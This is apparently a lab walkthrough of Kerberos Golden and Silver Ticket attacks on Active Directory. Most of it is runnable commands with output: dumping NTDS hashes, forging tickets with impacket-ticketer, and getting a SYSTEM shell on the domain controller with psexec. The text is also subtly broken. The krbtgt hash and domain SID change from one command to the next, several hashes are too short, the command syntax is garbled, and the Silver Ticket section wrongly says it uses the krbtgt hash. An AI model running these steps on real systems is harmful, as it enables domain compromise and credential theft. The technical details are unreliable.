






Kerberos Golden Ticket /Silver Ticket



Intro

Let's talk about the last technique against the Kerberos protocol /Silver  Ticket .

These two techniques are quite well known and used. And if you had watched, practiced and understood the other techniques, it doesn't have much complexity.

 and  goes *consist to create our owns TGT and TGS*. But you may be asking:

*"How can I create my own **TGT** or **TGS** if I need to encrypt the information inside it with the private key of the service **TGS**, that is the password, the hash, of the User **KRBTGT** and the user that is running the **Key distributing center** where is the authentication services and **TGS**?"*

Well, if you are asking that, you're absolutely right. We need the hash of the **KRBTGT** user and for that reason  and  are based on the premise that you have obtained the hash of the user account **KRBTGT**. How can we obtain that hash? In many ways.

For example with the failure of the **DC Sync** in which we can make a copy of the **NTDS**, bring to our machine the hash of the user **KRBTGT** that, although we can not crack it, **we can use it to create news TGT and TGS**. Or maybe we had found those **credentials NTLM** in memory on a machine where we had **local admin** privilege and **those credentials belong to a user with high privileges in the domain controller** and we have **dumped** the information from the memory of the domain controller, including the hash of the **KRBTGT user**, using **Impacket-secretsdump**, **Crackmapexec** or any other tool. And remembering that with this **NTLM** hash we can do "pass the hash".

Creating ours and

So, let's see how we can create those tickets. First, we will need the credentials or at least the hash **NTLM**, or the user **KRBTGT** that, as we said, we can get in many ways. Just this example we are going to use **crackmapexec** with the command:

crackmapexec smb "domain controller machine ip address" -u anadmindomainuser -H "thecaputeredNTLMhashofKRBTGT" --ntds

```
crackmapexec smb 192.168.20.5 -u Administrator -H "570a9a5d0b8fa761c1088a51d4c95ab" --ntds
[*] Windows Server 2022 Build 22H2 x64 (name:DC01) (domain:corp.local) (signing:True) (SMBv1:False)
[*] corp.local\Administrator:570a9a5d0b8fa761c1088a51d4c95ab (Pwned!)
[*] Dumping the NTDS, this could take a while so go grab a redbull...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfedd66a93b972c59d720c809c8:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfedd66a93b972c59d720c809c8:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a326aacc5fe2527a332c3c692618f1a6:::
emp (GPR):1100:aad3b435b51404eeaad3b435b51404ee:728b0990c7f6032c0c42c4cc358533:::
employee2:1104:aad3b435b51404eeaad3b435b51404ee:622086c75394a8ed074b8ed8b73cf90b:::
corp.local\Faustine.Lars:1601:aad3b435b51404eeaad3b435b51404ee:d56ee20c42bd017Acdb973bc2370f586:::
corp.local\jda.jamie:1602:aad3b435b51404eeaad3b435b51404ee:185c462a832985f60606031edf5e:::
corp.local\varyn.maurlita:1603:aad3b435b51404eeaad3b435b51404ee:20fd06a7da91c8a32a8916d407a6daf:::
corp.local\king.penny:1604:aad3b435b51404eeaad3b435b51404ee:72208f3f99d015ac4d5805c56d0ee1e:::
corp.local\loda.raye:1605:aad3b435b51404eeaad3b435b51404ee:1b1308f4d73a3030723b1b63f1aee38:::
corp.local\wendre.dorine:1606:aad3b435b51404eeaad3b435b51404ee:57c5a5bc7c0ef19809c9081616174c44:::
corp.local\vecca.merker:1607:aad3b435b51404eeaad3b435b51404ee:722a727b2e8bf4f99931c81d29e0d93:::
corp.local\llyanne.lynn:1608:aad3b435b51404eeaad3b435b51404ee:509feed260338854c300703b06f093a5:::
corp.local\benedetta.claudina:1609:aad3b435b51404eeaad3b435b51404ee:12c5c372063a720408751d1f1660059:::
```

→ The hash NTLM of the user KRBTGT

This is just an example, we can get or even find this hash in many ways

The other thing we need is the **Domain SID**, that we can get using those enumeration techniques or tools like **powerview**, **pywerview**, **bloodhound**. On this example we will use **pywerview**:

```

C:\Users\Maquinas\Desktop>pywerview get-netdomaincontroller -u employee1 --dc-ip 192.168.20.5 -p Password01
objectclass: top, person, organizationalPerson, user, computer
cn: DC01
distinguishedname: CN=DC01,OU=Domain Controllers,DC=corp,DC=local
instancetype: 4
whencreated: 2024-12-06 00:28:45+00:00
whenchanged: 2025-03-06 23:01:17+00:00
usncreated: 12253
usnchanged: 28994
name: DC01
objectguid: [11f2fbd-c4be-4e5d-ac41-a12536e13af7]
useraccountcontrol: SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
badpwdcount: 0
codepage: 0
countrycode: 0
badpasswordtime: 1601-01-01 00:00:00+00:00
lastlogoff: 1601-01-01 00:00:00+00:00
lastlogon: 2025-03-15 03:35:56.337334+00:00
localpolicyflags: 0
pwdlastset: 2025-02-23 21:16:01.906889+00:00
primarygroupid: 516
objectsid: S-1-5-21-3525594078-1931719227-2786532380-1000
accountexpires: 9999-12-31 23:59:59.999999+00:00
logoncount: 96
samaccountname: DC01$
samaccounttype: 805306309
operatingsystem: Windows Server 2022 Standard Evaluation
operatingsystemversion: 10.0 (20H4)
serverreferencebl: CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=corp,DC=local

```

And finally we just have to craft the TGT using the hash of the user **KRBTGT**, the domain **SID**, the domain name and the user target that that we want to create the TGT using the command:

impacket-ticketer -nthash "thecaputeredNTLMhashofKRBTGT" -domain-sid S-1-5-21-the-domain-sid -domain domain.local targetuser

```

C:\Users\Maquinas\Desktop>impacket-ticketer -nthash a344ec5fe2527e332c3c6952616f1e0 -domain-sid S-1-5-21-3525594078-1931719227-2786532380 -domain corp.local administrator
[*] Creating basic skeleton ticket and PAC Infos
/usr/share/doc/python3-impacket/examples/ticketer.py:141: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  etime.now(datetime.UTC).
[*] Customizing ticket for corp.local/administrator
/usr/share/doc/python3-impacket/examples/ticketer.py:680: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(hours=int(self._options.duration))
/usr/share/doc/python3-impacket/examples/ticketer.py:718: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  encTicketPart['authint'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
/usr/share/doc/python3-impacket/examples/ticketer.py:719: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
[*] PAC_LOGIN_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
/usr/share/doc/python3-impacket/examples/ticketer.py:843: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  encRepPart['last-req'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncAsRepPart
[*] Saving ticket in administrator.cache

```

Now with this "TGT" we can do whatever **we want on the domain on behalf of the user to whom the TGT belongs**. To do that We have to pass the path where the TGT is located to the **impacket** environment variable that will allow us to use the TGT with the command:

export KRB5CCNAME=/Rute/Of/The/File.ccache

```

export KRB5CCNAME=/home/kali/Desktop/Maquinas\ Active\ Diretory/Golden_Silver_Tickets/administrator.ccache

```

And now we can consume services in the domain on behalf of that user **using all modules of impacket** just adding the flag **-k -no-pass**. For example

impacket-secretsdump domain.local/username@computer.domain.local -k -no-pass

```

C:\Windows\system32> impacket-psexec corp.local/administratorDC01.corp.local -u:K -no-pass | Flag to use the TGT
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Domain/Username Computer.domain

[*] Requesting shares on DC01.corp.local....
[*] Found writable share ADMIN$
[*] Uploading file ahhx2m.exe
[*] Opening SVCManager on DC01.corp.local....
[*] Creating service ahhq on DC01.corp.local....
[*] Starting service ahhq....
[*] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.587]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>

```

This technique, in which we use the hash of the user KRBTGT to create a TGT of a user of the domain is named **Golden Ticket** because we have get the TGT of a domain user.

For its part, the **Silver Ticket** technique is quite similar to this one, except that instead of creating a TGT **we create a Services Ticket** to consume a specific service. We can do that with impacket command that we saw to create the TGT, but adding the flag **-spn**, that is, the service we want to consume. For example:

impacket-ticketer -nthash "thecaputeredNTLMhashofKRBTGT" -domain-sid S-1-5-21-the-domain-sid -domain domain.local -spn cifs/computer.domain targetuser

```

C:\Windows\system32> impacket-ticketer -nthash a364eef5fe2527e332c3c6952616f1e6 -domain-sid S-1-5-21-3525594878-1931719227-2786532380 -domain corp.local -spn cifs/DC01.corp.local administrator
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Domain/Username Computer.domain

[*] Creating basic skeleton ticket and PAC Infos
/usr/share/doc/python3-impacket/examples/ticketer.py:141: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  etime.now(datetime.UTC).
  etime = timegm(datetime.datetime.utcnow().timetuple())
[*] Customizing ticket for corp.local/administrator
/usr/share/doc/python3-impacket/examples/ticketer.py:600: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(hours=int(self.__options.duration))
/usr/share/doc/python3-impacket/examples/ticketer.py:718: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
  encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
[*] PAC LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
/usr/share/doc/python3-impacket/examples/ticketer.py:842: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  encRepPart['last_req'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
[*] EncTicketPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTicketPart
[*] Saving ticket in administrator.ccache: Silver Ticket

```

```

C:\Windows\system32> cat administrator.ccache

****
administrator
administrator
CORP.LOCALcifsDC01.corp.localMxBUSCHuFokyTyKzg-Vg-Vz++Vz++VP+a++++0****
ORP.LOCAL+0 0000

Service Sicket created for the service that we want consume

```

And with this ticket we can consume the specific service that we have created, in this case, the file services of the computer that we selected, and read all the files that it has.